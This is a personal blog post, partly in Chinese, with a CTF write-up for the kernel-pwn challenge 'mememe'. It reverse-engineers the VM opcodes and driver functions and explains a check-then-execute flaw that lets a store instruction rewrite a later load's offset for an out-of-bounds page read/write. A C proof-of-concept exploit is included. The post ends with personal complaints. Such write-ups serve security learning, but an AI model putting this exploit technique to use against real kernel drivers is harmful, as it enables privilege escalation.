2025京麟CTF-mememe
wp
好久没有更新博客了,生活也是一团乱麻。最近有时间跟团队一起打了场CTF,主要看了mem这道kernel-pwn和old school parser这道题目。mem其实就是给VM题目套了个kernel-pwn,利用比较简单,主要还是在逆向,平时刷题刷的少(当然,以后也不会刷题),逆VM逆了老半天,最后把漏洞找出来后,利用给队友去写了。然后我就去看old school parser这道题目了,看hint应该是找nday,最开始搞错了,还以为是ssl相关函数的漏洞,最后队友提醒是stb这个库,然后就去github上找到源码,issue找了好几个nday,但都不是堆溢出,反正挺难顶的。
mem虚拟机指令如下:
/** opcode | arg_len | ...arg* 0x4 | 0 ==> add ==> old_sp = sp; sp = sp - 1; stack[sp] += stack[old_sp]* 0x5 | 0 ==> sub ==> old_sp = sp; sp = sp - 1; stack[sp] -= stack[old_sp]* 0x6 | 0 ==> mul* 0x7 | 0 ==> div* 0x8 | 0 ==> xor* 0x12 | 0 ==> and* 0x13 | 0 ==> or* 0x14 | 0 ==> not** 0xa | 4 ==> push value ==> sp = sp + 1; stack[sp] = value* 0xb | 4 ==> load offset ==> sp = sp + 1; stack[sp] = *(uint32_t*)(base + offset)* 0xc | 4 ==> store offset ==> *(uint32_t*)(base + offset) = stack[sp]; sp = sp - 1* * 0xd | 0 ==> copy ==> old_sp = sp; sp = sp + 1; stack[sp] = stack[old_sp]* 0xe | 0 ==> swap ==> 交换栈顶的两个值,swap(stack[sp], stack[sp-1])* 0xf | 0 ==> pop ==> sp = sp - 1; data_int_ptr = stack[sp];** */
我逆向的 VM 结构体为:
00000000 X0 struc ; (sizeof=0xD0, mappedto_358)
00000000 vir_addr dq ? ; offset
00000008 vir_addr_size dq ?
00000010 write_size dq ?
00000018 data_int_ptr dq ? ; offset
00000020 read_pos dq ?
00000028 stack dd 32 dup(?)
000000A8 stack_sp dd ?
000000AC field_AC dd ?
000000B0 mutex dq ?
000000B8 field_B8 dq ?
000000C0 field_C0 dq ?
000000C8 field_C8 dq ?
000000D0 X0 ends
在 mememe_open 中申请了一个 page 用来存储 opcodes:
__int64 __fastcall mememe_open(__int64 a1, struct file *a2)
{struct X0 *ptr_; // raxunsigned int res; // ebxstruct X0 *ptr__; // r15__int64 phy_addr_; // rax__int64 phy_addr__; // r12int *data_ptr; // raxunsigned __int64 retaddr; // [rsp+0h] [rbp+0h]ptr_ = (struct X0 *)kmalloc_trace(kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 8],0xCC0LL,0xD0LL);res = -12;if ( !ptr_ )return res;ptr__ = ptr_;ptr_->vir_addr_size = 0x1000LL;phy_addr_ = alloc_pages(0x500CC2LL, 0LL); // 1 Pageif ( phy_addr_ ){phy_addr__ = phy_addr_;ptr__->vir_addr = (void *)(page_offset_base + ((phy_addr_ - vmemmap_base) << 6));data_ptr = (int *)kmalloc_trace(kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 3],0xCC0LL,4LL);ptr__->data_int_ptr = data_ptr;if ( data_ptr ){res = 0;memset(ptr__->vir_addr, 0, ptr__->vir_addr_size);*ptr__->data_int_ptr = 0;ptr__->write_size = 0LL;ptr__->read_pos = 0LL;ptr__->stack_sp = -1;_mutex_init(&ptr__->mutex, "&priv->lock", &mememe_open___key);*((_QWORD *)a2 + 25) = ptr__;return res;}_free_pages(phy_addr__, 0LL);}kfree(ptr__);return res;
}
在 mememe_write 中写入 opcodes:
unsigned __int64 __fastcall mememe_write(__int64 a1, __int64 u_ptr, unsigned __int64 len)
{struct X0 *data; // r13unsigned __int64 res; // r12void *vir_addr; // r12__int64 v7; // raxif ( !len )return 0LL;data = *(struct X0 **)(a1 + 200);res = -22LL;if ( data->vir_addr_size < len )return res;mutex_lock(&data->mutex);if ( len >> 31 )BUG();vir_addr = data->vir_addr;_check_object_size(data->vir_addr, len, 0LL);v7 = copy_from_user(vir_addr, u_ptr, len);res = -14LL;if ( !v7 ){data->write_size = len;res = len;}mutex_unlock(&data->mutex);return res;
}
mememe_ioctl 则执行 opcodes;mememe_read 用于读取 pop 指令弹出的值。主要的问题在于 load/store 指令操作的也是这块 page,并且 mememe_ioctl 在执行 opcodes 时是先提前检测所有 opcode 的合法性,然后在执行。在执行过程中并没有对 opcode 的参数进行检测了(这里我主要指 load/store 的 offset 参数)
可以看到在执行前限制了 load/store 指令的 offset 参数小于 page_size - 4:
{if ( opcode == 0xC ){if ( (_BYTE)arg_len != 4|| data->vir_addr_size - 4 < (unsigned __int64)*(unsigned int *)&start_ptr[opcode_idx + 2] ){goto EXIT_;}goto LABEL_41;}if ( opcode != 0xD || (_BYTE)arg_len || v6 < 0 )goto EXIT_;v12 = 0LL;if ( (unsigned int)v6 > 0x1E )goto EXIT;}else{if ( opcode == 0xA ){if ( (_BYTE)arg_len != 4 )goto EXIT_;}else if ( (_BYTE)arg_len != 4|| data->vir_addr_size - 4 < (unsigned __int64)*(unsigned int *)&start_ptr[opcode_idx + 2] ){goto EXIT_;}v12 = 0LL;if ( v6 > 30 )goto EXIT;
所以我们可以利用一个 store 指令修改后面 load/store 指令的 offset 参数为一个较大的值,而在执行时不会再检测 offset 的合法性,从而实现越界读写。这里是 alloc_page 分配的 order = 0 的 page 越界读写,利用的话比较简单,随便你怎么玩。利用是队友写的,这里我给个 poc:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>#define REDS "\033[31m\033[1m"
#define REDE "\033[0m"
#define fail_exit(msg) { printf(REDS"[Error %s, %d line, %s]: %s\n"REDE, \__FUNCTION__, __LINE__, __FILE__, msg);\exit(-1); }void err_exit(char *msg) {perror(msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg) {printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value) {printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}#include <assert.h>
#include <sys/resource.h>
void inc_limit()
{int ret;struct rlimit open_file_limit;ret = getrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);printf("[*] file limit: %ld\n", open_file_limit.rlim_max);open_file_limit.rlim_cur = open_file_limit.rlim_max;ret = setrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);
}/* bind the process to specific core */
void bind_core(int core) {cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}/** opcode | arg_len | ...arg* 0x4 | 0 ==> add ==> old_sp = sp; sp = sp - 1; stack[sp] += stack[old_sp]* 0x5 | 0 ==> sub ==> old_sp = sp; sp = sp - 1; stack[sp] -= stack[old_sp]* 0x6 | 0 ==> mul* 0x7 | 0 ==> div* 0x8 | 0 ==> xor* 0x12 | 0 ==> and* 0x13 | 0 ==> or* 0x14 | 0 ==> not** 0xa | 4 ==> push value ==> sp = sp + 1; stack[sp] = value* 0xb | 4 ==> load offset ==> sp = sp + 1; stack[sp] = *(uint32_t*)(base + offset)* 0xc | 4 ==> store offset ==> *(uint32_t*)(base + offset) = stack[sp]; sp = sp - 1* * 0xd | 0 ==> copy ==> old_sp = sp; sp = sp + 1; stack[sp] = stack[old_sp]* 0xe | 0 ==> swap ==> 交换栈顶的两个值,swap(stack[sp], stack[sp-1])* 0xf | 0 ==> pop ==> sp = sp - 1; data_int_ptr = stack[sp];** */void write_opcode(int fd, char* opcode, int len) {int res = write(fd, opcode, len);if (res < 0) puts("[x] write_opcode error");else if (res != len) puts("[-] write_opcode maybe error");
}int read_res(int fd) {int num = 0;int res = read(fd, &num, 4);if (res != 4) puts("[x] read_res error");return num;
}void run(int fd) {int res = ioctl(fd, 0x7601, 0);if (res == -22) puts("[x] run: Invalid opcode or arg");else if (res == -61) puts("[x] run: stack overflow_0");else if (res == -75) puts("[x] run: stack overflow_1");else if (res == -33) puts("[x] run: div zero");else puts("[V] run successfully");
}int nums = 0;
char* ptr = NULL;
void w_char(char val) {ptr[0] = val;ptr += 1;nums += 1;
}void w_int(int val) {*(int*)ptr = val;ptr += 4;nums += 4;
}int pipe_fds[0x100][2];
int fds[0x100];
int file_fds[1024];int main(int argc, char** argv, char** envp)
{bind_core(0);int res = 0;char* ops = malloc(0x1000);ptr = ops;memset(ops, 0, 0x1000);int nnn = 1;for (int i = 0; i < nnn; i++) {fds[i] = open("/dev/mememe", O_RDWR);if (fds[i] < 0) err_exit("Failed to open /dev/mememe");}for (int i = 0; i < 1024; i++) {file_fds[i] = open("/flag", O_RDONLY);if (file_fds[i] < 0) err_exit("Failed to open /dev/mememe");}w_char(0xa);w_char(4);w_int(0x2000); // victim offsetw_char(0xc);w_char(4);w_int(14); // store_0 ==> 修改 load_0 的 offsetw_char(0xb); // load_0 ==> offset 被 store_0 修改为 victim offsetw_char(4);w_int(0x20); // right offsetw_char(0xb);w_char(4);w_int(0x20);w_char(0xf);w_char(0);w_char(0xf);w_char(0);for (int i = 0; i < nnn; i++) {write_opcode(fds[i], ops, nums);run(fds[i]);res = read_res(fds[i]);hexx("res", res);}return 0;
}
烦心事
最近宿舍蚊子超级多,昨晚被6-7个蚊子折磨到失眠,早上6点才睡。整个人脑子也沉沉的。现在也不知道为啥,老是喜欢转牛角尖,而且老是想东想西的。好想来一场说走就走的旅行,希望有一天能够实现,自己一个人,说走就走,没有目的地,随心而往。本来写了很多,最后都删了,觉得没必要在网上传播一些负能量。
Recently, some classmates told me that I need to be a VIP to read my previous articles. This is the work of the stupid CSDN. I can’t seem to cancel it here, so let it be. Of course, the reason why I keep posting some random things on CSDN is because I also treat CSDN as a trash can, and I’m fighting poison with poison.
用中文被审核说低俗,翻译来自google